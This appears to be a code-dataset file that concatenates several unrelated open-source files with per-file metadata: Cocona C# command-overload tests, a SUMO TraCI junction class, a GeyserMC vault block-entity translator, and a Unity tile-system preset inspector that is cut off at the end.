std::iter_swap(iter, mActors.end() - 1); mActors.pop_back(); } }
1
0.734125
1
0.734125
game-dev
MEDIA
0.92227
game-dev
0.899341
1
0.899341
mayuki/Cocona
3,395
test/Cocona.Test/Command/CommandProvider/CommandOverloadTest.cs
using Cocona.Command; namespace Cocona.Test.Command.CommandProvider; public class CommandOverloadTest { [Fact] public void Single() { var provider = new CoconaCommandProvider(new[] { typeof(TestCommand_Overload_Single) }); var commands = provider.GetCommandCollection(); commands.Should().NotBeNull(); commands.All.Should().HaveCount(1); commands.Primary.Should().NotBeNull(); commands.Primary.Overloads.Should().HaveCount(2); } [Fact] public void Multiple() { var provider = new CoconaCommandProvider(new[] { typeof(TestCommand_Overload_Multiple) }); var commands = provider.GetCommandCollection(); commands.Should().NotBeNull(); commands.All.Should().HaveCount(2); // CommandA, CommandB commands.Primary.Should().BeNull(); commands.All[0].Overloads.Should().HaveCount(2); } [Fact] public void Multiple_UnknownOption() { var provider = new CoconaCommandProvider(new[] { typeof(TestCommand_Overload_Multiple_UnknownOption) }); Assert.Throws<CoconaException>(() => provider.GetCommandCollection()); } [Fact] public void Match_CommandName_LowerCase() { var provider = new CoconaCommandProvider(new[] { typeof(TestCommand_Overload_Single) }, options: CommandProviderOptions.TreatPublicMethodAsCommands | CommandProviderOptions.CommandNameToLowerCase); var commands = provider.GetCommandCollection(); commands.Should().NotBeNull(); commands.All.Should().HaveCount(1); commands.Primary.Should().NotBeNull(); commands.Primary.Overloads.Should().HaveCount(2); } class TestCommand_Overload_Single { public void Command(string mode, bool opt0, [Argument]string arg0) => throw new NotImplementedException(); [CommandOverload(nameof(Command), "mode", "network")] public void Command_Mode_Network(string mode, int port, string host) => throw new NotImplementedException(); [CommandOverload(nameof(Command), "mode", "extra")] public void Command_Mode_Extra(string mode, bool extraOption0) => throw new NotImplementedException(); } class TestCommand_Overload_Multiple { public void CommandA(string mode, bool opt0, [Argument]string arg0) => throw new NotImplementedException(); public void CommandB(string mode, bool opt0, [Argument]string arg0) => throw new NotImplementedException(); [CommandOverload(nameof(CommandA), "mode", "network")] public void CommandA_Mode_Network(string mode, int port, string host) => throw new NotImplementedException(); [CommandOverload(nameof(CommandA), "mode", "extra")] public void CommandA_Mode_Extra(string mode, bool extraOption0) => throw new NotImplementedException(); } class TestCommand_Overload_Multiple_UnknownOption { public void CommandA(string mode, bool opt0, [Argument]string arg0) => throw new NotImplementedException(); [CommandOverload(nameof(CommandA), "xxxx", "hello")] public void CommandA_Mode_Network(string mode, int port, string host) => throw new NotImplementedException(); [CommandOverload(nameof(CommandA), "yyyy", "konnichiwa")] public void CommandA_Mode_Extra(string mode, bool extraOption0) => throw new NotImplementedException(); } }
1
0.938235
1
0.938235
game-dev
MEDIA
0.706232
game-dev
0.913588
1
0.913588
SvenMertin/SUMO3d
1,233
3dCourse/Assets/Scripts/TraciLibrary/tudresden/sumo/cmd/Junction.cs
using System; using System.Collections.Generic; using System.Linq; using System.Text; using TraciConnector.Tudresden.Sumo.Conf; using TraciConnector.Tudresden.Sumo.Util; namespace TraciConnector.Tudresden.Sumo.Cmd { public class Junction { public static SumoCommand GetIDList() { return new SumoCommand(Constants.CMD_GET_JUNCTION_VARIABLE, Constants.ID_LIST, "", Constants.RESPONSE_GET_JUNCTION_VARIABLE, Constants.TYPE_STRINGLIST); } public static SumoCommand GetIDCount() { return new SumoCommand(Constants.CMD_GET_JUNCTION_VARIABLE, Constants.ID_COUNT, "", Constants.RESPONSE_GET_JUNCTION_VARIABLE, Constants.TYPE_INTEGER); } public static SumoCommand GetPosition(string junctionID) { return new SumoCommand(Constants.CMD_GET_JUNCTION_VARIABLE, Constants.VAR_POSITION, junctionID, Constants.RESPONSE_GET_JUNCTION_VARIABLE, Constants.POSITION_2D); } public static SumoCommand GetShape(string junctionID) { return new SumoCommand(Constants.CMD_GET_JUNCTION_VARIABLE, Constants.VAR_SHAPE, junctionID, Constants.RESPONSE_GET_JUNCTION_VARIABLE, Constants.TYPE_POLYGON); } } }
1
0.660295
1
0.660295
game-dev
MEDIA
0.42204
game-dev
0.509191
1
0.509191
GeyserMC/Geyser
3,885
core/src/main/java/org/geysermc/geyser/translator/level/block/entity/VaultBlockEntityTranslator.java
/* * Copyright (c) 2024 GeyserMC. http://geysermc.org * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @author GeyserMC * @link https://github.com/GeyserMC/Geyser */ package org.geysermc.geyser.translator.level.block.entity; import it.unimi.dsi.fastutil.longs.LongArrayList; import it.unimi.dsi.fastutil.longs.LongList; import org.checkerframework.checker.nullness.qual.Nullable; import org.cloudburstmc.nbt.NbtMap; import org.cloudburstmc.nbt.NbtMapBuilder; import org.cloudburstmc.nbt.NbtType; import org.geysermc.geyser.entity.type.player.PlayerEntity; import org.geysermc.geyser.item.parser.ItemStackParser; import org.geysermc.geyser.level.block.type.BlockState; import org.geysermc.geyser.session.GeyserSession; import org.geysermc.geyser.util.EntityUtils; import org.geysermc.mcprotocollib.protocol.data.game.level.block.BlockEntityType; import java.util.List; import java.util.UUID; @BlockEntity(type = BlockEntityType.VAULT) public class VaultBlockEntityTranslator extends BlockEntityTranslator { // Bedrock 1.21 does not send the position nor ID in the tag. @Override public NbtMap getBlockEntityTag(GeyserSession session, BlockEntityType type, int x, int y, int z, @Nullable NbtMap javaNbt, BlockState blockState) { NbtMapBuilder builder = NbtMap.builder(); if (javaNbt != null) { translateTag(session, builder, javaNbt, blockState); } return builder.build(); } @Override public void translateTag(GeyserSession session, NbtMapBuilder bedrockNbt, NbtMap javaNbt, BlockState blockState) { NbtMap sharedData = javaNbt.getCompound("shared_data"); bedrockNbt.putCompound("display_item", ItemStackParser.javaItemStackToBedrock(session, sharedData.getCompound("display_item")).build()); List<int[]> connectedPlayers = sharedData.getList("connected_players", NbtType.INT_ARRAY); LongList bedrockPlayers = new LongArrayList(connectedPlayers.size()); for (int[] player : connectedPlayers) { UUID uuid = EntityUtils.uuidFromIntArray(player); if (uuid.equals(session.getPlayerEntity().getUuid())) { bedrockPlayers.add(session.getPlayerEntity().getGeyserId()); } else { PlayerEntity playerEntity = session.getEntityCache().getPlayerEntity(uuid); if (playerEntity != null) { bedrockPlayers.add(playerEntity.getGeyserId()); } } } bedrockNbt.putList("connected_players", NbtType.LONG, bedrockPlayers); // Fill this in, since as of Java 1.21, Bedrock always seems to include it, but Java assumes the default // if it is not sent over the network bedrockNbt.putFloat("connected_particle_range", (float) sharedData.getDouble("connected_particles_range", 4.5d)); } }
1
0.874617
1
0.874617
game-dev
MEDIA
0.8731
game-dev
0.956566
1
0.956566
rotorz/unity3d-tile-system
33,877
assets/Editor/UserData/TileSystemPresetInspector.cs
// Copyright (c) Rotorz Limited. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root. using Rotorz.Games.UnityEditorExtensions; using Rotorz.Settings; using System.Linq; using UnityEditor; using UnityEngine; namespace Rotorz.Tile.Editor { [CustomEditor(typeof(TileSystemPreset))] [CanEditMultipleObjects] internal sealed class TileSystemPresetInspector : UnityEditor.Editor { #region User Settings private static void AutoInitializeUserSettings() { if (s_HasInitializedUserSettings == true) { return; } var settings = AssetSettingManagement.GetGroup("TileSystemPresetInspector"); s_SectionStripping = settings.Fetch<bool>("ExpandStripping", false); s_SectionBuildOptions = settings.Fetch<bool>("ExpandBuildOptions", false); s_SectionRuntimeOptions = settings.Fetch<bool>("ExpandRuntimeOptions", false); s_HasInitializedUserSettings = true; } private static bool s_HasInitializedUserSettings = false; private static Setting<bool> s_SectionStripping; private static Setting<bool> s_SectionBuildOptions; private static Setting<bool> s_SectionRuntimeOptions; private static bool s_ToggleBuildOptions_AdvancedUV2; #endregion #region Serialized Properties private SerializedProperty propertySystemName; // Grid private SerializedProperty propertyTileWidth; private SerializedProperty propertyTileHeight; private SerializedProperty propertyTileDepth; private SerializedProperty propertyRows; private SerializedProperty propertyColumns; private SerializedProperty propertyChunkWidth; private SerializedProperty propertyChunkHeight; private SerializedProperty propertyAutoAdjustDirection; private SerializedProperty propertyTilesFacing; private SerializedProperty propertyDirection; // Stripping private SerializedProperty propertyStrippingPreset; private SerializedProperty propertyStrippingOptions; // Build Options private SerializedProperty propertyCombineMethod; private SerializedProperty propertyCombineChunkWidth; private SerializedProperty propertyCombineChunkHeight; private SerializedProperty propertyCombineIntoSubmeshes; private SerializedProperty propertyStaticVertexSnapping; private SerializedProperty propertyVertexSnapThreshold; private SerializedProperty propertyGenerateSecondUVs; private SerializedProperty propertySecondUVsHardAngle; private SerializedProperty propertySecondUVsPackMargin; private SerializedProperty propertySecondUVsAngleError; private SerializedProperty propertySecondUVsAreaError; private SerializedProperty propertyPregenerateProcedural; private SerializedProperty propertyReduceColliders; // Runtime private SerializedProperty propertyHintEraseEmptyChunks; private SerializedProperty propertyApplyRuntimeStripping; private SerializedProperty propertyUpdateProceduralAtStart; private SerializedProperty propertyMarkProceduralDynamic; private SerializedProperty propertyAddProceduralNormals; private SerializedProperty propertySortingLayerID; private SerializedProperty propertySortingOrder; private void InitializeSerializedProperties() { this.propertySystemName = this.serializedObject.FindProperty("systemName"); // Grid this.propertyTileWidth = this.serializedObject.FindProperty("tileWidth"); this.propertyTileHeight = this.serializedObject.FindProperty("tileHeight"); this.propertyTileDepth = this.serializedObject.FindProperty("tileDepth"); this.propertyRows = this.serializedObject.FindProperty("rows"); this.propertyColumns = this.serializedObject.FindProperty("columns"); this.propertyChunkWidth = this.serializedObject.FindProperty("chunkWidth"); this.propertyChunkHeight = this.serializedObject.FindProperty("chunkHeight"); this.propertyAutoAdjustDirection = this.serializedObject.FindProperty("autoAdjustDirection"); this.propertyTilesFacing = this.serializedObject.FindProperty("tilesFacing"); this.propertyDirection = this.serializedObject.FindProperty("direction"); // Stripping this.propertyStrippingPreset = this.serializedObject.FindProperty("strippingPreset"); this.propertyStrippingOptions = this.serializedObject.FindProperty("strippingOptions"); // Build Options this.propertyCombineMethod = this.serializedObject.FindProperty("combineMethod"); this.propertyCombineChunkWidth = this.serializedObject.FindProperty("combineChunkWidth"); this.propertyCombineChunkHeight = this.serializedObject.FindProperty("combineChunkHeight"); this.propertyCombineIntoSubmeshes = this.serializedObject.FindProperty("combineIntoSubmeshes"); this.propertyStaticVertexSnapping = this.serializedObject.FindProperty("staticVertexSnapping"); this.propertyVertexSnapThreshold = this.serializedObject.FindProperty("vertexSnapThreshold"); this.propertyGenerateSecondUVs = this.serializedObject.FindProperty("generateSecondUVs"); this.propertySecondUVsHardAngle = this.serializedObject.FindProperty("secondUVsHardAngle"); this.propertySecondUVsPackMargin = this.serializedObject.FindProperty("secondUVsPackMargin"); this.propertySecondUVsAngleError = this.serializedObject.FindProperty("secondUVsAngleError"); this.propertySecondUVsAreaError = this.serializedObject.FindProperty("secondUVsAreaError"); this.propertyPregenerateProcedural = this.serializedObject.FindProperty("pregenerateProcedural"); this.propertyReduceColliders = this.serializedObject.FindProperty("reduceColliders"); // Runtime this.propertyHintEraseEmptyChunks = this.serializedObject.FindProperty("hintEraseEmptyChunks"); this.propertyApplyRuntimeStripping = this.serializedObject.FindProperty("applyRuntimeStripping"); this.propertyUpdateProceduralAtStart = this.serializedObject.FindProperty("updateProceduralAtStart"); this.propertyMarkProceduralDynamic = this.serializedObject.FindProperty("markProceduralDynamic"); this.propertyAddProceduralNormals = this.serializedObject.FindProperty("addProceduralNormals"); this.propertySortingLayerID = this.serializedObject.FindProperty("sortingLayerID"); this.propertySortingOrder = this.serializedObject.FindProperty("sortingOrder"); } #endregion /// <summary> /// Gets or sets a value indicating if the tile system name has been modified by /// the user. /// </summary> public bool HasModifiedTileSystemName { get; set; } /// <summary> /// Gets or sets a value indicating whether undo should be disabled on the /// underlying serialized object if possible. /// </summary> public bool DisableUndoOnSerializedObject { get; set; } private void OnEnable() { AutoInitializeUserSettings(); this.InitializeSerializedProperties(); } public override bool UseDefaultMargins() { return false; } protected override void OnHeaderGUI() { Rect position = GUILayoutUtility.GetRect(0, 46); if (Event.current.type == EventType.Repaint) { GUI.skin.box.Draw(position, GUIContent.none, false, false, false, false); GUI.DrawTexture(new Rect(7, 7, 32, 32), RotorzEditorStyles.Skin.Icon_PresetTileSystem); string headerText = targets.Length == 1 ? string.Format( /* 0: name of tile system preset */ TileLang.Text("{0} (Tile System Preset)"), target.name ) : string.Format( /* 0: quantity of selected tile system presets */ TileLang.Text("{0} Tile System Presets"), targets.Length ); EditorStyles.largeLabel.Draw(new Rect(48, 7, position.width - 48, position.height), headerText, false, false, false, false); } Rect menuPosition = new Rect(position.width - 25, 7, 22, 16); if (GUI.Button(menuPosition, RotorzEditorStyles.Skin.SmallGearButton, GUIStyle.none)) { this.ShowContextMenu(menuPosition); GUIUtility.ExitGUI(); } EditorGUI.BeginDisabledGroup(targets.Length != 1); { using (var content = ControlContent.Basic( TileLang.ParticularText("Action", "Create Tile System") )) { Vector2 createButtonSize = EditorStyles.miniButton.CalcSize(content); Rect createButtonPosition = new Rect(position.width - createButtonSize.x - 5, 24, createButtonSize.x, createButtonSize.y); if (GUI.Button(createButtonPosition, content, EditorStyles.miniButton)) { var tileSystemGO = TileSystemPresetUtility.CreateTileSystemFromPreset((TileSystemPreset)target); Selection.activeObject = tileSystemGO; Undo.RegisterCreatedObjectUndo(tileSystemGO, content.LabelContent.text); } } } EditorGUI.EndDisabledGroup(); GUILayout.Space(5); } private void ShowContextMenu(Rect menuPosition) { var menu = new EditorMenu(); string labelResetToDefault3D = string.Format( /* 0: name of previous state */ TileLang.ParticularText("Action", "Reset to '{0}'"), TileLang.ParticularText("Preset Name", "Default: 3D") ); menu.AddCommand(labelResetToDefault3D) .Action(() => { Undo.RecordObjects(targets, labelResetToDefault3D); foreach (var target in targets) { ((TileSystemPreset)target).SetDefaults3D(); } }); string labelResetToDefault2D = string.Format( /* 0: name of previous state */ TileLang.ParticularText("Action", "Reset to '{0}'"), TileLang.ParticularText("Preset Name", "Default: 2D") ); menu.AddCommand(labelResetToDefault2D) .Action(() => { Undo.RecordObjects(targets, labelResetToDefault2D); foreach (var target in targets) { ((TileSystemPreset)target).SetDefaults2D(); } }); menu.ShowAsDropdown(menuPosition); } public override void OnInspectorGUI() { float initialLabelWidth = EditorGUIUtility.labelWidth; RotorzEditorGUI.UseExtendedLabelWidthForLocalization(); this.serializedObject.Update(); this.DrawTileSystemNameField(); ExtraEditorGUI.SeparatorLight(marginTop: 7); this.OnSection_TileSystem(); s_SectionStripping.Value = RotorzEditorGUI.FoldoutSection(s_SectionStripping, label: TileLang.ParticularText("Section", "Stripping"), callback: this.OnSection_Stripping ); s_SectionBuildOptions.Value = RotorzEditorGUI.FoldoutSection(s_SectionBuildOptions, label: TileLang.ParticularText("Section", "Build Options"), callback: this.OnSection_BuildOptions ); s_SectionRuntimeOptions.Value = RotorzEditorGUI.FoldoutSection(s_SectionRuntimeOptions, label: TileLang.ParticularText("Section", "Runtime Options"), callback: this.OnSection_RuntimeOptions ); if (this.DisableUndoOnSerializedObject) { this.serializedObject.ApplyModifiedPropertiesWithoutUndo(); } else { this.serializedObject.ApplyModifiedProperties(); } EditorGUIUtility.labelWidth = initialLabelWidth; } private void DrawTileSystemNameField() { ExtraEditorGUI.AbovePrefixLabel(TileLang.ParticularText("Property", "Tile System Name")); GUI.SetNextControlName("NameField"); EditorGUI.BeginChangeCheck(); EditorGUILayout.PropertyField(this.propertySystemName, GUIContent.none); if (EditorGUI.EndChangeCheck()) { this.HasModifiedTileSystemName = true; } } private void OnSection_TileSystem() { float initialLabelWidth = EditorGUIUtility.labelWidth; BeginMultiPartField(TileLang.ParticularText("Property", "Grid Size (in tiles)")); { EditorGUIUtility.labelWidth = 65; EditorGUILayout.PrefixLabel(TileLang.ParticularText("Property", "Rows")); EditorGUI.BeginChangeCheck(); EditorGUILayout.PropertyField(this.propertyRows, GUIContent.none); if (EditorGUI.EndChangeCheck()) { this.propertyRows.intValue = Mathf.Max(1, this.propertyRows.intValue); } EditorGUILayout.PrefixLabel(TileLang.ParticularText("Property", "Columns")); EditorGUI.BeginChangeCheck(); EditorGUILayout.PropertyField(this.propertyColumns, GUIContent.none); if (EditorGUI.EndChangeCheck()) { this.propertyColumns.intValue = Mathf.Max(1, this.propertyColumns.intValue); } EditorGUIUtility.labelWidth = initialLabelWidth; } EndMultiPartField(); BeginMultiPartField(TileLang.ParticularText("Property", "Chunk Size (in tiles)")); { EditorGUIUtility.labelWidth = 65; EditorGUILayout.PrefixLabel(TileLang.ParticularText("Property", "Height")); EditorGUI.BeginChangeCheck(); EditorGUILayout.PropertyField(this.propertyChunkHeight, GUIContent.none); if (EditorGUI.EndChangeCheck()) { this.propertyChunkHeight.intValue = Mathf.Max(1, this.propertyChunkHeight.intValue); } EditorGUILayout.PrefixLabel(TileLang.ParticularText("Property", "Width")); EditorGUI.BeginChangeCheck(); EditorGUILayout.PropertyField(this.propertyChunkWidth, GUIContent.none); if (EditorGUI.EndChangeCheck()) { this.propertyChunkWidth.intValue = Mathf.Max(1, this.propertyChunkWidth.intValue); } EditorGUIUtility.labelWidth = initialLabelWidth; } EndMultiPartField(); if (!this.propertyChunkHeight.hasMultipleDifferentValues && !this.propertyChunkWidth.hasMultipleDifferentValues) { if (this.propertyChunkHeight.intValue * this.propertyChunkWidth.intValue > 10000) { RotorzEditorGUI.InfoBox(TileLang.Text("Do not exceed an area of 100x100 tiles per chunk when using procedural tilesets."), MessageType.Warning); } } if (ControlContent.TrailingTipsVisible) { ExtraEditorGUI.TrailingTip(TileLang.Text("Number of tiles that contribute to a chunk.")); } ExtraEditorGUI.SeparatorLight(); BeginMultiPartField(TileLang.ParticularText("Property", "Cell Size")); { EditorGUI.showMixedValue = this.propertyTileWidth.hasMultipleDifferentValues || this.propertyTileHeight.hasMultipleDifferentValues || this.propertyTileDepth.hasMultipleDifferentValues; Vector3 cellSize = new Vector3(this.propertyTileWidth.floatValue, this.propertyTileHeight.floatValue, this.propertyTileDepth.floatValue); EditorGUI.BeginChangeCheck(); cellSize = EditorGUILayout.Vector3Field(GUIContent.none, cellSize); if (EditorGUI.EndChangeCheck()) { this.propertyTileWidth.floatValue = Mathf.Max(0.0001f, cellSize.x); this.propertyTileHeight.floatValue = Mathf.Max(0.0001f, cellSize.y); this.propertyTileDepth.floatValue = Mathf.Max(0.0001f, cellSize.z); } EditorGUI.showMixedValue = false; } EndMultiPartField(); if (ControlContent.TrailingTipsVisible) { ExtraEditorGUI.TrailingTip(TileLang.Text("Span of an individual tile.")); } GUILayout.Space(10); using (var content = ControlContent.WithTrailableTip( TileLang.ParticularText("Property", "Tiles Facing"), TileLang.Text("Direction that tiles will face when painted. 'Sideways' is good for platform and 2D games. 'Upwards' is good for top-down.") )) { EditorGUI.BeginChangeCheck(); EditorGUILayout.PropertyField(this.propertyTilesFacing, content); ExtraEditorGUI.TrailingTip(content); if (EditorGUI.EndChangeCheck() && this.propertyAutoAdjustDirection.boolValue) { switch ((TileFacing)this.propertyTilesFacing.intValue) { case TileFacing.Sideways: this.propertyDirection.intValue = (int)WorldDirection.Forward; break; case TileFacing.Upwards: this.propertyDirection.intValue = (int)WorldDirection.Up; break; } } } GUILayout.Space(3); using (var content = ControlContent.WithTrailableTip( TileLang.ParticularText("Property", "Initial Direction"), TileLang.Text("Initial direction of tile system upon creation. If in doubt assume default and rotate afterwards.") )) { EditorGUI.BeginChangeCheck(); EditorGUILayout.PropertyField(this.propertyDirection, content); ExtraEditorGUI.TrailingTip(content); if (EditorGUI.EndChangeCheck()) { this.propertyAutoAdjustDirection.boolValue = false; } } GUILayout.Space(5); } private void OnSection_Stripping() { using (var content = ControlContent.Basic( TileLang.ParticularText("Property", "Stripping Preset"), TileLang.Text("Custom level of stripping can be applied to tile system upon build.") )) { EditorGUILayout.PropertyField(this.propertyStrippingPreset, content); } // "Stripping Preset Toggles" if (!this.propertyStrippingPreset.hasMultipleDifferentValues) { var targetPresets = this.targets.Cast<TileSystemPreset>().ToArray(); int mixedMask = RotorzEditorGUI.GetMixedStrippingOptionsMask(targetPresets); StrippingPreset preset = targetPresets[0].StrippingPreset; int options = targetPresets[0].StrippingOptions & ~mixedMask; EditorGUI.showMixedValue = this.propertyStrippingOptions.hasMultipleDifferentValues; int diff = RotorzEditorGUI.StrippingOptions(preset, options, mixedMask); if (diff != 0 && preset == StrippingPreset.Custom) { int addBits = diff & ~options; int removeBits = diff & options; Undo.RecordObjects(this.targets, TileLang.ParticularText("Action", "Modify Stripping Options")); foreach (var targetPreset in targetPresets) { targetPreset.StrippingOptions = (targetPreset.StrippingOptions & ~removeBits) | addBits; EditorUtility.SetDirty(targetPreset); } } EditorGUI.showMixedValue = false; } GUILayout.Space(5); } private void OnSection_BuildOptions() { float initialLabelWidth = EditorGUIUtility.labelWidth; GUILayout.Space(3); using (var content = ControlContent.Basic( TileLang.ParticularText("Property", "Combine Method") )) { EditorGUILayout.PropertyField(this.propertyCombineMethod, content); } if (!this.propertyCombineMethod.hasMultipleDifferentValues) { if ((BuildCombineMethod)this.propertyCombineMethod.intValue == BuildCombineMethod.CustomChunkInTiles) { GUILayout.BeginHorizontal(); ++EditorGUI.indentLevel; { EditorGUIUtility.labelWidth = 65; EditorGUILayout.PrefixLabel(TileLang.ParticularText("Property", "Height")); EditorGUI.BeginChangeCheck(); EditorGUILayout.PropertyField(this.propertyCombineChunkHeight, GUIContent.none); if (EditorGUI.EndChangeCheck()) { this.propertyCombineChunkHeight.intValue = Mathf.Max(1, this.propertyCombineChunkHeight.intValue); } EditorGUILayout.PrefixLabel(TileLang.ParticularText("Property", "Width")); EditorGUI.BeginChangeCheck(); EditorGUILayout.PropertyField(this.propertyCombineChunkWidth, GUIContent.none); if (EditorGUI.EndChangeCheck()) { this.propertyCombineChunkWidth.intValue = Mathf.Max(1, this.propertyCombineChunkWidth.intValue); } EditorGUIUtility.labelWidth = initialLabelWidth; } --EditorGUI.indentLevel; GUILayout.EndHorizontal(); } if ((BuildCombineMethod)this.propertyCombineMethod.intValue != BuildCombineMethod.None) { ++EditorGUI.indentLevel; { this.propertyCombineIntoSubmeshes.boolValue = EditorGUILayout.ToggleLeft(TileLang.ParticularText("Property", "Combine into submeshes"), this.propertyCombineIntoSubmeshes.boolValue); if (ControlContent.TrailingTipsVisible) { ExtraEditorGUI.TrailingTip(TileLang.Text("Determines whether to use submeshes, or an individual mesh for each material.")); } } --EditorGUI.indentLevel; RotorzEditorGUI.InfoBox(TileLang.Text("Avoid generation of meshes with vertices in excess of 64k."), MessageType.Warning); } } EditorGUILayout.Space(); using (var content = ControlContent.WithTrailableTip( TileLang.ParticularText("Property", "Vertex Snap Threshold"), TileLang.Text("Increase threshold to snap vertices that are more widely spread.") )) { EditorGUILayout.PropertyField(this.propertyVertexSnapThreshold, content); if (!this.propertyVertexSnapThreshold.hasMultipleDifferentValues) { if (this.propertyVertexSnapThreshold.floatValue == 0f) { EditorGUILayout.HelpBox(TileLang.Text("No snapping occurs when threshold is 0."), MessageType.Warning, true); } } ExtraEditorGUI.TrailingTip(content); } using (var content = ControlContent.WithTrailableTip( TileLang.ParticularText("Property", "Static Snapping"), TileLang.Text("Applies vertex snapping to static tiles to avoid tiny gaps due to numerical inaccuracies. Vertex snapping is always applied to 'smooth' tiles.") )) { EditorGUILayout.PropertyField(this.propertyStaticVertexSnapping, content); ExtraEditorGUI.TrailingTip(content); } using (var content = ControlContent.Basic( TileLang.ParticularText("Property", "Generate Lightmap UVs") )) { EditorGUILayout.PropertyField(this.propertyGenerateSecondUVs, content); if (this.propertyGenerateSecondUVs.boolValue) { ++EditorGUI.indentLevel; s_ToggleBuildOptions_AdvancedUV2 = EditorGUILayout.Foldout(s_ToggleBuildOptions_AdvancedUV2, TileLang.ParticularText("Section", "Advanced")); if (s_ToggleBuildOptions_AdvancedUV2) { float hardAngle = this.propertySecondUVsHardAngle.floatValue; float packMargin = this.propertySecondUVsPackMargin.floatValue * 1024f; float angleError = this.propertySecondUVsAngleError.floatValue * 100f; float areaError = this.propertySecondUVsAreaError.floatValue * 100f; using (var content2 = ControlContent.WithTrailableTip( TileLang.ParticularText("Property", "Hard Angle"), TileLang.Text("Angle between neighbor triangles that will generate seam.") )) { EditorGUI.BeginChangeCheck(); EditorGUI.showMixedValue = this.propertySecondUVsHardAngle.hasMultipleDifferentValues; hardAngle = EditorGUILayout.Slider(content, hardAngle, 0f, 180f); if (EditorGUI.EndChangeCheck()) { this.propertySecondUVsHardAngle.floatValue = Mathf.Ceil(hardAngle); } ExtraEditorGUI.TrailingTip(content2); } using (var content2 = ControlContent.WithTrailableTip( TileLang.ParticularText("Property", "Pack Margin"), TileLang.Text("Measured in pixels, assuming mesh will cover an entire 1024x1024 lightmap.") )) { EditorGUI.BeginChangeCheck(); EditorGUI.showMixedValue = this.propertySecondUVsPackMargin.hasMultipleDifferentValues; packMargin = EditorGUILayout.Slider(content, packMargin, 1f, 64f); if (EditorGUI.EndChangeCheck()) { this.propertySecondUVsPackMargin.floatValue = Mathf.Ceil(packMargin) / 1024f; } ExtraEditorGUI.TrailingTip(content2); } using (var content2 = ControlContent.WithTrailableTip( TileLang.ParticularText("Property", "Angle Error"), TileLang.Text("Measured in percents. Angle error measures deviation of UV angles from geometry angles. Area error measure deviation of UV triangles area from geometry triangles if they were uniformly scaled.") )) { EditorGUI.BeginChangeCheck(); EditorGUI.showMixedValue = this.propertySecondUVsAngleError.hasMultipleDifferentValues; angleError = EditorGUILayout.Slider(content, angleError, 1f, 75f); if (EditorGUI.EndChangeCheck()) { this.propertySecondUVsAngleError.floatValue = Mathf.Ceil(angleError) / 100f; } ExtraEditorGUI.TrailingTip(content2); } using (var content2 = ControlContent.Basic( TileLang.ParticularText("Property", "Area Error") )) { EditorGUI.BeginChangeCheck(); EditorGUI.showMixedValue = this.propertySecondUVsAreaError.hasMultipleDifferentValues; areaError = EditorGUILayout.Slider(content2, areaError, 1f, 75f); if (EditorGUI.EndChangeCheck()) { this.propertySecondUVsAreaError.floatValue = Mathf.Ceil(areaError) / 100f; } } EditorGUI.showMixedValue = false; } --EditorGUI.indentLevel; } } using (var content = ControlContent.WithTrailableTip( TileLang.ParticularText("Property", "Pre-generate Procedural"), TileLang.Text("Increases size of scene but allows brushes to be stripped from builds.") )) { EditorGUILayout.PropertyField(this.propertyPregenerateProcedural, content); ExtraEditorGUI.TrailingTip(content); } RotorzEditorGUI.InfoBox(TileLang.Text("Stripping capabilities are reduced when procedural tiles are present but are not pre-generated since they are otherwise generated at runtime."), MessageType.Info); GUILayout.Space(5); using (var content = ControlContent.Basic( TileLang.ParticularText("Property", "Reduce Box Colliders"), TileLang.Text("Reduces count of box colliders by coalescing adjacent colliders.") )) { EditorGUILayout.PropertyField(this.propertyReduceColliders, content); } } private void OnSection_RuntimeOptions() { GUILayout.Space(3); using (var content = ControlContent.WithTrailableTip( TileLang.ParticularText("Property", "Erase Empty Chunks"), TileLang.Text("Hints that empty chunks should be erased when they become empty at runtime.") )) { EditorGUILayout.PropertyField(this.propertyHintEraseEmptyChunks, content); ExtraEditorGUI.TrailingTip(content); } using (var content = ControlContent.WithTrailableTip( TileLang.ParticularText("Property", "Apply Basic Stripping"), TileLang.Text("Applies a basic degree of stripping at runtime upon awakening.") )) { EditorGUILayout.PropertyField(this.propertyApplyRuntimeStripping, content); ExtraEditorGUI.TrailingTip(content); } ExtraEditorGUI.SeparatorLight(); using (var content = ControlContent.WithTrailableTip( TileLang.ParticularText("Property", "Update Procedural at Start"), TileLang.Text("Automatically updates procedural meshes at runtime upon awakening.") )) { EditorGUILayout.PropertyField(this.propertyUpdateProceduralAtStart, content); ExtraEditorGUI.TrailingTip(content); } using (var content = ControlContent.WithTrailableTip( TileLang.ParticularText("Property", "Mark Procedural Dynamic"), TileLang.Text("Helps to improve performance when procedural tiles are updated frequently at runtime. Unset if only updated at start of level.") )) { EditorGUILayout.PropertyField(this.propertyMarkProceduralDynamic, content); ExtraEditorGUI.TrailingTip(content); } using (var content = ControlContent.WithTrailableTip( TileLang.ParticularText("Property", "Add Procedural Normals"), TileLang.Text("Adds normals to procedural meshes.") )) { EditorGUILayout.PropertyField(this.propertyAddProceduralNormals, content); ExtraEditorGUI.TrailingTip(content); } ExtraEditorGUI.SeparatorLight(); using (var content = ControlContent.WithTrailableTip( TileLang.ParticularText("Property", "Procedural Sorting Layer"), TileLang.Text("Sorting layer for procedural tileset meshes.") )) { RotorzEditorGUI.SortingLayerField(this.propertySortingLayerID, content); ExtraEditorGUI.TrailingTip(content); } using (var content = ControlContent.WithTrailableTip( TileLang.ParticularText("Property", "Procedural Order in Layer"), TileLang.Text("Order in sorting layer.") )) { EditorGUILayout.PropertyField(this.propertySortingOrder, content); ExtraEditorGUI.TrailingTip(content); } } private static void BeginMultiPartField(string prefixLabel) { ExtraEditorGUI.MultiPartPrefixLabel(prefixLabel); 